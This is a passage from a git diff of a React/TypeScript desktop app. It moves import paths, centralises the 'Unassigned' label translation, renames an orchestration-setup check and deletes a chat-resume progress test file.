 import { isOrcaCliAvailableOnPath } from '@/lib/skills/installation/agent-skill-cli-prerequisite'
 import {
   ORCHESTRATION_SETUP_STATE_EVENT,
-  hasOrchestrationSetupMarker,
+  isOrchestrationSetupEnabled,
   isOrchestrationSetupDismissed
-} from '@/lib/orchestration-setup-state'
+} from '@/components/orchestration/setup/orchestration-setup-state'
 import type { FloatingTerminalPanelLocalState } from './use-floating-terminal-panel-local-state'
 
 type FloatingTerminalOrchestrationVisibilityInput = Pick<
@@ -22,7 +22,7 @@ export function useFloatingTerminalOrchestrationVisibility({
       setShowOrchestrationSetup(false)
       return
     }
-    if (!hasOrchestrationSetupMarker()) {
+    if (!isOrchestrationSetupEnabled()) {
       setShowOrchestrationSetup(true)
       return
     }
diff --git a/src/renderer/src/components/floating-terminal/use-floating-terminal-panel-local-state.ts b/src/renderer/src/components/floating-terminal/use-floating-terminal-panel-local-state.ts
index 237d4db1b77..f3e19c5584e 100644
--- a/src/renderer/src/components/floating-terminal/use-floating-terminal-panel-local-state.ts
+++ b/src/renderer/src/components/floating-terminal/use-floating-terminal-panel-local-state.ts
@@ -8,9 +8,9 @@ import type {
 } from './floating-terminal-panel-bounds'
 import { readPersistedFloatingTerminalPanelViewState } from './floating-terminal-panel-view-state'
 import {
-  hasOrchestrationSetupMarker,
+  isOrchestrationSetupEnabled,
   isOrchestrationSetupDismissed
-} from '@/lib/orchestration-setup-state'
+} from '@/components/orchestration/setup/orchestration-setup-state'
 import {
   readInitialPanelBounds,
   type FloatingTerminalPanelBoundsState
@@ -35,7 +35,7 @@ export function useFloatingTerminalPanelLocalState() {
   const panelViewportSettled = useSettledPanelViewport()
   const [orchestrationDialogOpen, setOrchestrationDialogOpen] = useState(false)
   const [showOrchestrationSetup, setShowOrchestrationSetup] = useState(
-    () => !hasOrchestrationSetupMarker() && !isOrchestrationSetupDismissed()
+    () => !isOrchestrationSetupEnabled() && !isOrchestrationSetupDismissed()
   )
   const restoreBoundsRef = useRef<FloatingTerminalPanelBoundsState | null>(null)
   const stagedBoundsRef = useRef<FloatingTerminalPanelBounds | null>(null)
diff --git a/src/renderer/src/components/floating-terminal/use-floating-terminal-panel-shortcuts.ts b/src/renderer/src/components/floating-terminal/use-floating-terminal-panel-shortcuts.ts
index f4d6ce4e291..99a918ef649 100644
--- a/src/renderer/src/components/floating-terminal/use-floating-terminal-panel-shortcuts.ts
+++ b/src/renderer/src/components/floating-terminal/use-floating-terminal-panel-shortcuts.ts
@@ -1,6 +1,7 @@
-import { useCallback, useEffect, useRef, type KeyboardEvent as ReactKeyboardEvent } from 'react'
+import { useCallback, useEffect, useRef } from 'react'
+import type { KeyboardEvent as ReactKeyboardEvent } from 'react'
 import { isTerminalPaneCloseChord } from '@/components/terminal-pane/input/keyboard/terminal-shortcut-policy'
-import { ensureClientCreationActionAllowed } from '@/lib/client-creation-action-error'
+import { ensureClientCreationActionAllowed } from '@/lib/workspace/creation/surface-policy/client-creation-action-error'
 import {
   matchFloatingWorkspacePanelOwnedAction,
   matchFloatingWorkspacePanelShortcut
@@ -10,13 +11,10 @@ import { getShortcutPlatform } from '@/lib/keyboard/shortcut-platform'
 import { requestTerminalTabRename } from '@/components/tab-bar/terminal-tab-rename-request'
 import { resolveTerminalAgentTabShortcut } from '@/components/terminal-agent-tab-shortcut'
 import { launchFloatingWorkspaceAgentShortcut } from '@/components/agent-tab-shortcut-launch'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants'
-import {
-  keybindingMatchesAction,
-  type KeybindingContext,
-  type KeybindingMatchOptions
-} from '../../../../shared/keybindings'
+import { keybindingMatchesAction } from '../../../../shared/keybindings'
+import type { KeybindingContext, KeybindingMatchOptions } from '../../../../shared/keybindings'
 import type {
   FloatingPanelShortcutInput,
   FloatingPanelShortcutResolution,
diff --git a/src/renderer/src/components/floating-terminal/use-floating-terminal-panel-store-state.ts b/src/renderer/src/components/floating-terminal/use-floating-terminal-panel-store-state.ts
index a167b0414fb..398d95877e1 100644
--- a/src/renderer/src/components/floating-terminal/use-floating-terminal-panel-store-state.ts
+++ b/src/renderer/src/components/floating-terminal/use-floating-terminal-panel-store-state.ts
@@ -1,5 +1,5 @@
-import { getClientCreationActionPolicy } from '@/lib/client-creation-action-policy'
-import { useAppStore } from '@/store'
+import { getClientCreationActionPolicy } from '@/lib/workspace/creation/surface-policy/client-creation-action-policy'
+import { useAppStore } from '@/store/index'
 import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants'
 import { selectFloatingTerminalPanelInputs } from './floating-terminal-panel-inputs'
 
diff --git a/src/renderer/src/components/github-item-dialog/open-dialog/github-item-dialog.tsx b/src/renderer/src/components/github-item-dialog/open-dialog/github-item-dialog.tsx
index 88bebcee075..2234ccdefa8 100644
--- a/src/renderer/src/components/github-item-dialog/open-dialog/github-item-dialog.tsx
+++ b/src/renderer/src/components/github-item-dialog/open-dialog/github-item-dialog.tsx
@@ -3,10 +3,10 @@ import { GitHubWorkItemTargetContext } from '../load-item-details/github-work-it
 import React, { useCallback, useEffect, useEffectEvent, useMemo, useState } from 'react'
 import { toast } from 'sonner'
 import { useAllWorktrees } from '@/store/slices/worktrees/listing/use-worktree-catalog'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { findGithubIssueWorkspaceAttachment } from '@/lib/work-items/github/github-work-item-workspace-attachment'
 import { activateAndRevealWorktree } from '@/lib/workspace/activation/worktree-activation'
-import { getWorktreeAttachmentLabel } from '@/lib/worktree-attachment-label'
+import { getWorktreeAttachmentLabel } from '@/lib/workspace/display/worktree-attachment-label'
 import { translate } from '@/i18n/i18n'
 import type { GitHubWorkItem } from '../../../../../shared/github/work-item-types'
 import type { GitHubItemDialogProps } from '../load-item-details/github-item-dialog-types'
diff --git a/src/renderer/src/components/github-project/ProjectCellIssueType.tsx b/src/renderer/src/components/github-project/ProjectCellIssueType.tsx
index ad0735c268e..73e08ffb789 100644
--- a/src/renderer/src/components/github-project/ProjectCellIssueType.tsx
+++ b/src/renderer/src/components/github-project/ProjectCellIssueType.tsx
@@ -3,10 +3,10 @@ import React, { useEffect, useMemo, useState } from 'react'
 import { useShallow } from 'zustand/react/shallow'
 import { CircleDot } from 'lucide-react'
 import { Popover, PopoverContent, PopoverTrigger } from '@/components/ui/popover'
-import { useRepoSlugIndex } from '@/lib/repo-slug-index'
+import { useRepoSlugIndex } from '@/lib/workspace/catalog/repo-slug-index'
 import { runtimeTargetForRepoOwner } from '@/lib/workspace/ownership/repo-runtime-owner'
 import { gitHubSlugApiForTarget } from '@/runtime/repository-github/github-slug-owner-api'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { useTranslate } from '@/i18n/use-translate'
 import type { GitHubIssueType, GitHubProjectRow } from '../../../../shared/github/project-types'
 import { chipStyle, colorHex, singleSelectChipColors } from './project-cell-chip-colors'
diff --git a/src/renderer/src/components/github-project/useProjectRowActions.ts b/src/renderer/src/components/github-project/useProjectRowActions.ts
index 6e92c2e2345..4bc7b7a9e66 100644
--- a/src/renderer/src/components/github-project/useProjectRowActions.ts
+++ b/src/renderer/src/components/github-project/useProjectRowActions.ts
@@ -1,8 +1,8 @@
 import { useCallback, useState } from 'react'
 import { toast } from 'sonner'
-import { useRepoSlugIndex } from '@/lib/repo-slug-index'
+import { useRepoSlugIndex } from '@/lib/workspace/catalog/repo-slug-index'
 import { launchWorkItemDirect } from '@/lib/workspace/creation/work-item/launch-work-item-direct'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { translate } from '@/i18n/i18n'
 import { buildTaskSourceContextFromRepo } from '../../../../shared/work-items/task-source-context'
 import { githubProjectHost } from '../../../../shared/github/project-identity'
diff --git a/src/renderer/src/components/github-project/useProjectViewTable.ts b/src/renderer/src/components/github-project/useProjectViewTable.ts
index 6d910b7ec76..c6b727b8f68 100644
--- a/src/renderer/src/components/github-project/useProjectViewTable.ts
+++ b/src/renderer/src/components/github-project/useProjectViewTable.ts
@@ -4,7 +4,7 @@ import { toast } from 'sonner'
 import { useMountedRef } from '@/hooks/useMountedRef'
 import { useGitHubTaskProjectTable } from '@/hooks/useGitHubTaskItems'
 import { translate } from '@/i18n/i18n'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { projectViewCacheKey, projectViewSourceScope } from '@/store/github/cache/cache-identity'
 import type {
   GitHubProjectSettings,
@@ -28,7 +28,7 @@ import {
   getVisibleProjectTable,
   type CachedVisibleProjectTable
 } from './project-visible-table-cache'
-import { useRepoSlugIndex } from '@/lib/repo-slug-index'
+import { useRepoSlugIndex } from '@/lib/workspace/catalog/repo-slug-index'
 
 export function useProjectViewTable(
   selectedRepoIds: ReadonlySet<string>,
diff --git a/src/renderer/src/components/integrations/source-control/source-control-preflight-card-status.ts b/src/renderer/src/components/integrations/source-control/source-control-preflight-card-status.ts
index 7db6312828a..692e2aa5d76 100644
--- a/src/renderer/src/components/integrations/source-control/source-control-preflight-card-status.ts
+++ b/src/renderer/src/components/integrations/source-control/source-control-preflight-card-status.ts
@@ -1,12 +1,12 @@
 import { useState } from 'react'
 import { useMountedRef } from '@/hooks/useMountedRef'
-import { getLocalPreflightContext } from '@/lib/local-preflight-context'
-import { localPreflightContextKey } from '@/lib/local-preflight-context-key'
+import { getLocalPreflightContext } from '@/runtime/hosts/preflight/local-preflight-context'
+import { localPreflightContextKey } from '@/runtime/hosts/preflight/local-preflight-context-key'
 import { useAppStore } from '@/store/index'
-import {
-  getPreflightIntegrationStatuses,
-  type PreflightIntegrationStatuses,
-  type PreflightRefreshProvider
+import { getPreflightIntegrationStatuses } from './integrations-pane-status'
+import type {
+  PreflightIntegrationStatuses,
+  PreflightRefreshProvider
 } from './integrations-pane-status'
 
 type CliStatus = {
diff --git a/src/renderer/src/components/linear-issue-attribute-filter-pills.ts b/src/renderer/src/components/linear-issue-attribute-filter-pills.ts
index e490da23981..f82f384a249 100644
--- a/src/renderer/src/components/linear-issue-attribute-filter-pills.ts
+++ b/src/renderer/src/components/linear-issue-attribute-filter-pills.ts
@@ -1,6 +1,7 @@
 // Keep coverage visible on pills after the picker’s detailed notice closes.
 import { translate } from '@/i18n/i18n'
 import type { Translate } from '@/i18n/use-translate'
+import { translateUnassignedLabel } from '@/i18n/unassigned-label'
 import {
   canonicalizeLinearIssueAttributeFilter,
   type LinearIssueAttributeFilter
@@ -91,7 +92,7 @@ export function linearIssueAttributeFilterPillLabels(
     pills.push({
       key: 'assignee',
       label: t('auto.components.linear-issue-attribute-filter-sections.assignee', 'Assignee'),
-      value: t('auto.components.linear-issue-attribute-filter-sections.unassigned', 'Unassigned'),
+      value: translateUnassignedLabel(),
       partial: false
     })
   } else if (canonical.assignee?.kind === 'user') {
diff --git a/src/renderer/src/components/linear-issue-attribute-filter-sections.tsx b/src/renderer/src/components/linear-issue-attribute-filter-sections.tsx
index 48473eccb27..cc96bbabf30 100644
--- a/src/renderer/src/components/linear-issue-attribute-filter-sections.tsx
+++ b/src/renderer/src/components/linear-issue-attribute-filter-sections.tsx
@@ -8,6 +8,7 @@ import {
 import { cn } from '@/lib/class-names'
 import { translate } from '@/i18n/i18n'
 import { useTranslate, type Translate } from '@/i18n/use-translate'
+import { translateUnassignedLabel } from '@/i18n/unassigned-label'
 import {
   LINEAR_ISSUE_ATTRIBUTE_FILTER_MAX_LABEL_IDS,
   LINEAR_ISSUE_ATTRIBUTE_FILTER_MAX_STATE_IDS,
@@ -105,7 +106,7 @@ export function LinearIssueFilterSectionMenu({
       summary: plainSummary(
         value.assignee
           ? value.assignee.kind === 'unassigned'
-            ? t('auto.components.linear-issue-attribute-filter-sections.unassigned', 'Unassigned')
+            ? translateUnassignedLabel()
             : t('auto.components.linear-issue-attribute-filter-sections.selected', 'selected')
           : ''
       )
@@ -232,7 +233,7 @@ export function LinearIssueFilterSectionDetail({
                 })
               }
             >
-              {t('auto.components.linear-issue-attribute-filter-sections.unassigned', 'Unassigned')}
+              {translateUnassignedLabel()}
             </button>
           </div>
         ) : null}
@@ -298,10 +299,7 @@ export function LinearIssueFilterSectionDetail({
         options={[
           {
             key: '__unassigned__',
-            primary: t(
-              'auto.components.linear-issue-attribute-filter-sections.unassigned',
-              'Unassigned'
-            )
+            primary: translateUnassignedLabel()
           },
           ...assigneeOptions
         ]}
diff --git a/src/renderer/src/components/linear-item-drawer-comment-footer.tsx b/src/renderer/src/components/linear-item-drawer-comment-footer.tsx
index 86be8882105..e7133c7d5d3 100644
--- a/src/renderer/src/components/linear-item-drawer-comment-footer.tsx
+++ b/src/renderer/src/components/linear-item-drawer-comment-footer.tsx
@@ -19,6 +19,7 @@ import { linearAddIssueComment } from '@/runtime/linear/runtime-linear-issue-cli
 import { translate } from '@/i18n/i18n'
 import { useTranslate } from '@/i18n/use-translate'
 import type { TaskSourceContext } from '../../../shared/work-items/task-source-context'
+import { isUnassignedShortcutLabel } from '@/i18n/unassigned-label'
 import type { LinearLocalComment } from '@/components/linear-item-drawer-types'
 import { defaultScopeSource } from '@/runtime/hosts/selection/default-creation-host'
 
@@ -144,7 +145,7 @@ export function LinearIssueCommentFooter({
         />
         <div className="flex items-center justify-between px-4 pb-3">
           <span className="text-[11px] text-muted-foreground">
-            {submitShortcutLabel !== 'Unassigned'
+            {!isUnassignedShortcutLabel(submitShortcutLabel)
               ? t('auto.components.LinearItemDrawer.fda549766e', '{{value0}} to comment', {
                   value0: submitShortcutLabel
                 })
diff --git a/src/renderer/src/components/linear-item-drawer-edit-chips-layout.tsx b/src/renderer/src/components/linear-item-drawer-edit-chips-layout.tsx
index 050c04d72d2..0ac3678a913 100644
--- a/src/renderer/src/components/linear-item-drawer-edit-chips-layout.tsx
+++ b/src/renderer/src/components/linear-item-drawer-edit-chips-layout.tsx
@@ -13,6 +13,7 @@ import { LinearPriorityIcon } from '@/components/linear-priority-icon'
 import { getLinearPriorityLabel } from '@/components/task-page/task-page-localized-options'
 import { translate } from '@/i18n/i18n'
 import type { Translate } from '@/i18n/use-translate'
+import { translateUnassignedLabel } from '@/i18n/unassigned-label'
 import {
   LINEAR_EDIT_CHIP_CLASS,
   LINEAR_EDIT_MENU_ITEM_CLASS,
@@ -233,7 +234,7 @@ export function renderLinearIssueChipsLayout(
               onClick={() => handleAssigneeChange('__unassign__')}
               className={cn(LINEAR_EDIT_MENU_ITEM_CLASS, !localAssignee && 'bg-accent/50')}
             >
-              {t('auto.components.LinearItemDrawer.866316f22c', 'Unassigned')}
+              {translateUnassignedLabel()}
             </button>
             {members.error ? (
               <div className="px-2 py-3 text-center text-[12px] text-destructive">
diff --git a/src/renderer/src/components/linear-item-drawer-edit-properties-layout.tsx b/src/renderer/src/components/linear-item-drawer-edit-properties-layout.tsx
index 5a5d61a7f6d..96248aa5397 100644
--- a/src/renderer/src/components/linear-item-drawer-edit-properties-layout.tsx
+++ b/src/renderer/src/components/linear-item-drawer-edit-properties-layout.tsx
@@ -10,6 +10,7 @@ import { LinearPriorityIcon } from '@/components/linear-priority-icon'
 import { getLinearPriorityLabel } from '@/components/task-page/task-page-localized-options'
 import { translate } from '@/i18n/i18n'
 import type { Translate } from '@/i18n/use-translate'
+import { translateUnassignedLabel } from '@/i18n/unassigned-label'
 import {
   LINEAR_EDIT_MENU_ITEM_CLASS,
   LINEAR_EDIT_MENU_ITEM_WITH_ICON_CLASS,
@@ -175,9 +176,7 @@ export function renderLinearIssuePropertiesLayout(
                   <UserRound className={propertyIconClass} />
                 )}
                 <span className="min-w-0 flex-1 truncate">
-                  {localAssignee
-                    ? localAssignee.displayName
-                    : t('auto.components.LinearItemDrawer.866316f22c', 'Unassigned')}
+                  {localAssignee ? localAssignee.displayName : translateUnassignedLabel()}
                 </span>
                 <LinearEditChipAdornment loading={members.loading} pending={assigneePending} />
               </button>
@@ -192,7 +191,7 @@ export function renderLinearIssuePropertiesLayout(
                   onClick={() => handleAssigneeChange('__unassign__')}
                   className={cn(LINEAR_EDIT_MENU_ITEM_CLASS, !localAssignee && 'bg-accent/50')}
                 >
-                  {t('auto.components.LinearItemDrawer.866316f22c', 'Unassigned')}
+                  {translateUnassignedLabel()}
                 </button>
                 {members.error ? (
                   <div className="px-2 py-3 text-center text-[12px] text-destructive">
diff --git a/src/renderer/src/components/linear-project-overview-content.tsx b/src/renderer/src/components/linear-project-overview-content.tsx
index 3bd72488cd8..48af8a88f95 100644
--- a/src/renderer/src/components/linear-project-overview-content.tsx
+++ b/src/renderer/src/components/linear-project-overview-content.tsx
@@ -3,6 +3,7 @@ import { CalendarDays, FileText, FolderKanban, RefreshCw, UserRound } from 'luci
 
 import { Progress } from '@/components/ui/progress'
 import { useIntlLocale, useTranslate } from '@/i18n/use-translate'
+import { translateUnassignedLabel } from '@/i18n/unassigned-label'
 import type {
   LinearProjectDetail,
   LinearProjectSummary
@@ -160,7 +161,7 @@ export function LinearProjectOverviewContent({
             />
             <LinearProjectPropertyRow
               label={t('auto.components.linear.project.view.surfaces.111bef9aa8', 'Lead')}
-              value={linearProjectUnknownText(presentation.lead) ?? 'Unassigned'}
+              value={linearProjectUnknownText(presentation.lead) ?? translateUnassignedLabel()}
               icon={<UserRound className="size-3.5" />}
             />
             <LinearProjectPropertyRow
diff --git a/src/renderer/src/components/linear-project-table-content.tsx b/src/renderer/src/components/linear-project-table-content.tsx
index 307114f809e..c5ba7c43351 100644
--- a/src/renderer/src/components/linear-project-table-content.tsx
+++ b/src/renderer/src/components/linear-project-table-content.tsx
@@ -5,6 +5,7 @@ import { Badge } from '@/components/ui/badge'
 import { Button } from '@/components/ui/button'
 import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip'
 import { useIntlLocale, useTranslate } from '@/i18n/use-translate'
+import { translateUnassignedLabel } from '@/i18n/unassigned-label'
 import { cn } from '@/lib/class-names'
 import type { LinearProjectSummary } from '../../../shared/linear/project-types'
 import {
@@ -182,8 +183,7 @@ export function LinearProjectTableContent({
               {linearProjectPriorityLabel(presentation.priority, presentation.priorityLabel, t)}
             </span>
             <span className="truncate text-[12px] text-muted-foreground">
-              {linearProjectUnknownText(presentation.lead) ??
-                t('auto.components.linear.project.view.surfaces.df4bd63c1d', 'Unassigned')}
+              {linearProjectUnknownText(presentation.lead) ?? translateUnassignedLabel()}
             </span>
             <span className="truncate text-[12px] text-muted-foreground">
               {linearProjectDateLabel(project.targetDate, t, intlLocale)}
diff --git a/src/renderer/src/components/native-chat-recovery/NativeChatResumeOnRestartModal.tsx b/src/renderer/src/components/native-chat-recovery/NativeChatResumeOnRestartModal.tsx
index 569fbb2d98e..24a8fd71521 100644
--- a/src/renderer/src/components/native-chat-recovery/NativeChatResumeOnRestartModal.tsx
+++ b/src/renderer/src/components/native-chat-recovery/NativeChatResumeOnRestartModal.tsx
@@ -4,32 +4,32 @@ import { Button } from '../ui/button'
 import { Checkbox } from '../ui/checkbox'
 import { Dialog, DialogContent, DialogFooter } from '../ui/dialog'
 import { useAppStore } from '../../store/index'
-import { useTranslate, type Translate } from '@/i18n/use-translate'
-import { activateAiVaultStructuredSession } from '@/lib/activate-ai-vault-structured-session'
+import { useTranslate } from '@/i18n/use-translate'
+import type { Translate } from '@/i18n/use-translate'
+import { activateAiVaultStructuredSession } from '@/lib/agent-session/open/activate-ai-vault-structured-session'
 import { ResumeOnRestartGroups } from './tree/NativeChatResumeOnRestartGroups'
 import { ResumeTreeRow } from './tree/NativeChatResumeTreeRow'
 import {
   resumeFailureGuidance,
-  resumeFailureSelectable,
-  type ResumeFailureAction
+  resumeFailureSelectable
 } from './failures/native-chat-resume-failure-guidance'
+import type { ResumeFailureAction } from './failures/native-chat-resume-failure-guidance'
 import {
   resumeSelectionState,
-  toggleResumeSelection,
-  type ResumeCandidate,
-  type ResumeFailure
+  toggleResumeSelection
 } from './tree/native-chat-resume-on-restart-grouping'
+import type { ResumeCandidate, ResumeFailure } from './tree/native-chat-resume-on-restart-grouping'
 import {
   useNativeChatRestartOffer,
   useNativeChatRestartResuming,
   useNativeChatRestartRun
 } from './offers/native-chat-resume-on-restart-store'
-import type { NativeChatRestartStore } from './offers/native-chat-restart-runtime-store'
 import { useResumeRunPanel } from './runs/NativeChatResumeRunPanel'
 import { resumeRunFailures } from './runs/native-chat-resume-run-view'
 import { NativeChatResumeAutoNote } from './dialogs/NativeChatResumeAutoNote'
 import { NativeChatRemoteResumeActions } from './dialogs/NativeChatRemoteResumeActions'
 import { moveInTree } from './tree/native-chat-resume-tree-keys'
+import type { NativeChatRestartStore } from './offers/native-chat-restart-runtime-store'
 
 /** Resume reattaches and sends a continuation, never the original user prompt; disclose this before sending. Automatic preference skips the prompt but uses the same host safety checks.
  * The store owns runs across dialog closes. Closing snoozes; Dismiss all deletes durable offers. Row Retry/Dismiss keep the dialog open, and settled runs cannot close a user-reopened dialog. Unretryable failures stay outside Resume. */
diff --git a/src/renderer/src/components/native-chat-recovery/integration/native-chat-resume-bulk-progress.test.tsx b/src/renderer/src/components/native-chat-recovery/integration/native-chat-resume-bulk-progress.test.tsx
deleted file mode 100644
index 577e63211ee..00000000000
--- a/src/renderer/src/components/native-chat-recovery/integration/native-chat-resume-bulk-progress.test.tsx
+++ /dev/null
@@ -1,150 +0,0 @@
-// @vitest-environment happy-dom
-import {
-  createResumeModalFixture,
-  offered,
-  failure,
-  type RestartRpc,
-  type ResumeStatusStream
-} from './native-chat-resume-modal.test-support'
-import { act } from 'react'
-import { expect, it, vi, type Mock } from 'vitest'
-import { NativeChatResumeOnRestartModal } from '../NativeChatResumeRuntimeModal'
-
-import { NativeChatResumeStatusSegment } from '../../status-bar/NativeChatResumeStatusSegment'
-import type { ResumeCandidate, ResumeFailure } from '../tree/native-chat-resume-on-restart-grouping'
-import type { AgentSessionStatusSummary } from '../../../../../shared/agent-session/agent-session-wire'
-
-const rpc: Mock<RestartRpc> = vi.hoisted(() => vi.fn<RestartRpc>())
-const statusStream: ResumeStatusStream = vi.hoisted(() => ({
-  emit: (_event: Parameters<ResumeStatusStream['emit']>[0]) => {},
-  snapshot: new Map()
-}))
-vi.mock('../../../runtime/native-chat/requests/structured-agent-session-call', () => ({
-  callStructuredAgentSession: rpc
-}))
-
-vi.mock('../../../runtime/native-chat/requests/structured-agent-session-subscriptions', () => ({
-  subscribeStructuredAgentSessionStatus: async (
-    _target: unknown,
-    emit: (event: Parameters<ResumeStatusStream['emit']>[0]) => void
-  ) => {
-    statusStream.emit = emit
-    emit({ type: 'snapshot', sessions: [...statusStream.snapshot.values()] })
-    return { unsubscribe: () => {} }
-  }
-}))
-vi.mock('@/lib/activate-ai-vault-structured-session', () => ({
-  activateAiVaultStructuredSession: vi.fn(async () => true)
-}))
-vi.mock('sonner', async () =>
-  (await import('./native-chat-resume-sonner-mock.test-support')).resumeSonnerMock()
-)
-
-const { mount, button, offerIds, runStatus } = createResumeModalFixture(rpc, statusStream)
-
-function emitPhase(
-  sessionId: string,
-  phase?: NonNullable<AgentSessionStatusSummary['restartResume']>['phase']
-): void {
-  statusStream.emit({
-    type: 'status',
-    session: {
-      sessionId,
-      workspaceId: 'workspace',
-      agent: 'codex',
-      status: 'idle',
-      latestPrompt: '',
-      updatedAt: 1,
-      ...(phase ? { restartResume: { phase } } : {})
-    }
-  })
-}
-
-it('keeps the run in flight after every feed verdict until the fallback list is published', async () => {
-  const answer = Promise.withResolvers<{
-    continued: { sessionId: string; outcome: 'continued' }[]
-  }>()
-  const listing = Promise.withResolvers<{ sessions: ResumeCandidate[]; failed: ResumeFailure[] }>()
-  let reads = 0
-  rpc.mockImplementation(async (_target, method) =>
-    method === 'agentSession.restartContinue'
-      ? answer.promise
-      : reads++ === 0
-        ? { sessions: offered, failed: [] }
-        : listing.promise
-  )
-  await mount(
-    <>
-      <NativeChatResumeOnRestartModal />
-      <NativeChatResumeStatusSegment iconOnly={false} />
-    </>
-  )
-  await act(async () => button('Resume 2 chats').click())
-  await act(async () => button('Resuming chats 0/2').click())
-  await act(async () => {
-    for (const { sessionId } of offered) {
-      statusStream.emit({
-        type: 'status',
-        session: {
-          sessionId,
-          workspaceId: 'workspace',
-          agent: 'codex',
-          status: 'idle',
-          latestPrompt: '',
-          updatedAt: 1,
-          restartResume: { phase: 'continued' }
-        }
-      })
-    }
-    answer.resolve({
-      continued: offered.map(({ sessionId }) => ({ sessionId, outcome: 'continued' }))
-    })
-  })
-  expect(button('Resuming chats 2/2')).toBeTruthy()
-  await act(async () => offered.forEach(({ sessionId }) => emitPhase(sessionId)))
-  expect(button('Resuming chats 2/2')).toBeTruthy()
-  expect(runStatus('Prompt a')).toBe('Prompt a: Resumed')
-  expect(button('Resuming…').disabled).toBe(true)
-  expect(document.body.textContent).not.toContain('chats to resume')
-  await act(async () => listing.resolve({ sessions: [], failed: [] }))
-  expect(offerIds()).toEqual([])
-  expect(button('Done').disabled).toBe(false)
-  expect(document.body.textContent).not.toContain('Resuming chats')
-})
-
-it('retains success and refusal frames through cleanup before a delayed bulk reply', async () => {
-  const reply = Promise.withResolvers<unknown>()
-  rpc.mockImplementation(async (_target, method) =>
-    method === 'agentSession.restartResumable' ? { sessions: offered, failed: [] } : reply.promise
-  )
-  await mount(
-    <>
-      <NativeChatResumeOnRestartModal />
-      <NativeChatResumeStatusSegment iconOnly={false} />
-    </>
-  )
-  await act(async () => button('Resume 2 chats').click())
-  // Verdicts and cleanup can arrive together before React gets a render.
-  await act(async () => {
-    emitPhase('a', 'continued')
-    emitPhase('b', 'refused')
-    emitPhase('a')
-    emitPhase('b')
-  })
-  expect(button('Resuming chats 2/2')).toBeTruthy()
-  await act(async () => button('Resuming chats 2/2').click())
-  expect(runStatus('Prompt a')).toBe('Prompt a: Resumed')
-  expect(runStatus('Prompt b')).toBe('Prompt b: Couldn’t resume')
-  expect(document.querySelector('[role="dialog"]')?.textContent).toContain('Need you1')
-  await act(async () =>
-    reply.resolve({
-      sessions: [],
-      failed: [failure('b')],
-      continued: [
-        { sessionId: 'a', outcome: 'continued' },
-        { sessionId: 'b', outcome: 'refused' }
-      ]
-    })
-  )
-  expect(document.querySelector('[role="dialog"]')?.textContent).toContain('Resumed 1 of 2 chats')
-})
diff --git a/src/renderer/src/components/native-chat-recovery/tree/NativeChatResumeOnRestartAgentRow.tsx b/src/renderer/src/components/native-chat-recovery/tree/NativeChatResumeOnRestartAgentRow.tsx
index f7ca3dd3493..a5dc252b4b1 100644
--- a/src/renderer/src/components/native-chat-recovery/tree/NativeChatResumeOnRestartAgentRow.tsx
+++ b/src/renderer/src/components/native-chat-recovery/tree/NativeChatResumeOnRestartAgentRow.tsx
@@ -2,7 +2,7 @@ import { useContext } from 'react'
 import { AgentIcon } from '@/components/agent/icons/AgentIcon'
 import { agentTypeToIconAgent } from '../../../../../shared/agent-status/presentation/agent-type-icon-agent'
 import { formatAgentTypeLabel } from '../../../../../shared/agent-status/presentation/agent-type-label'
-import { formatShortTimeAgo } from '@/lib/short-time-ago'
+import { formatShortTimeAgo } from '@/lib/time-format/short-time-ago'
 import { useTranslate } from '@/i18n/use-translate'
 import type { ResumeCandidate, ResumeFailure } from './native-chat-resume-on-restart-grouping'
 import {
diff --git a/src/renderer/src/components/native-chat-recovery/tree/NativeChatResumeOnRestartGroups.tsx b/src/renderer/src/components/native-chat-recovery/tree/NativeChatResumeOnRestartGroups.tsx
index a83ecedd4ed..4a7880e3107 100644
--- a/src/renderer/src/components/native-chat-recovery/tree/NativeChatResumeOnRestartGroups.tsx
+++ b/src/renderer/src/components/native-chat-recovery/tree/NativeChatResumeOnRestartGroups.tsx
@@ -5,7 +5,8 @@ import { ProjectOptionDetail } from '@/components/new-workspace/ProjectComboboxR
 import { WorktreeHostContextBadge } from '@/components/sidebar/workspace-card/host/WorktreeHostContextBadge'
 import { useSidebarHostScopeOptions } from '@/components/sidebar/worktree-list/controls/use-sidebar-host-scope-options'
 import { useTranslate } from '@/i18n/use-translate'
-import { resolveWorktreeBranchLabel } from '@/lib/worktree-default-display-name'
+import { translateHostDisplayLabel } from '@/components/sidebar/execution-host-label'
+import { resolveWorktreeBranchLabel } from '@/lib/workspace/display/worktree-default-display-name'
 import { getHostContextLabel } from '../../../../../shared/worktree/host-context-labels'
 import {
   LOCAL_EXECUTION_HOST_ID,
@@ -319,7 +320,7 @@ export function ResumeOnRestartGroups({
   const ancestorsOf = useLineageAncestors(allWorkspaces)
   const { hostOptions } = useSidebarHostScopeOptions()
   const hostLabelById = useMemo(
-    () => new Map(hostOptions.map((host) => [host.id, host.label])),
+    () => new Map(hostOptions.map((host) => [host.id, translateHostDisplayLabel(host)])),
     [hostOptions]
   )
   const expansion = useResumeTreeExpansion()
diff --git a/src/renderer/src/components/native-chat-recovery/tree/native-chat-resume-workspace-display.ts b/src/renderer/src/components/native-chat-recovery/tree/native-chat-resume-workspace-display.ts
index 961053d856e..67629d70813 100644
--- a/src/renderer/src/components/native-chat-recovery/tree/native-chat-resume-workspace-display.ts
+++ b/src/renderer/src/components/native-chat-recovery/tree/native-chat-resume-workspace-display.ts
@@ -1,5 +1,5 @@
 import { dirname } from '@/lib/path'
-import { resolveWorktreeDisplayName } from '@/lib/worktree-default-display-name'
+import { resolveWorktreeDisplayName } from '@/lib/workspace/display/worktree-default-display-name'
 import {
   getWorktreePathBasenameFromId,
   splitWorktreeIdForFilesystem
diff --git a/src/renderer/src/components/native-chat/appearance/NativeChatBackdrop.fixture.tsx b/src/renderer/src/components/native-chat/appearance/NativeChatBackdrop.fixture.tsx
new file mode 100644
index 00000000000..7f56629b408
--- /dev/null
+++ b/src/renderer/src/components/native-chat/appearance/NativeChatBackdrop.fixture.tsx
@@ -0,0 +1,96 @@
+import { useEffect, useState } from 'react'
